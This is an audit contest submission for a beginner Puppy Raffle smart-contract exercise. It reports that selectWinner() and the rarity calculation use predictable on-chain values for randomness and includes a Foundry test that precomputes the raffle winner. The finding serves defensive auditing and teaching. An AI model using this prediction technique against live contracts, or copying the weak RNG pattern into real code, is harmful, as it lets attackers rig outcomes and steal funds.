First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

selectWinner() can be misused to predict the winner in advance

wallebach

Summary

selectWinner() depends on known / predictable inputs.

Vulnerability Details

The function depends on msg.sender, block.timestamp and block.difficulty. That allows to predict a result of winnerIndex quite easily.

Sample test to reproduce the vulnerability:

function testPwnSelectWinner() public playersEntered {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
uint256 cheatWinnerIndex = uint256(
keccak256(abi.encodePacked(msg.sender, block.timestamp + 1, block.difficulty)))
% puppyRaffle.getPlayersLength();
​
address cheatWinner = puppyRaffle.getPlayerAt(cheatWinnerIndex);
​
puppyRaffle.selectWinner();
​
assertEq(puppyRaffle.previousWinner(), playerFour);
assertEq(cheatWinner, playerFour);
}

Need to add the following methods to PuppyRaffle.sol:

function getPlayersLength() public view returns (uint256) {
return players.length;
}
​
function getPlayerAt(uint256 index) public view returns (address) {
return players[index];
}

Although the comment on line 138 and code on line 139:

// We use a different RNG calculate from the winnerIndex to determine rarity
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

state that a different random function is used, rarity generation still has the same predictability problem, because the parameters for random function generation are still publicly available.

Impact

High. Exploit is easy to reproduce and allows for cheating during the winner selection process.

Tools Used

Manual check.

Recommendations

Select a different, verified source of randomness, for example Chainlink VRF.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!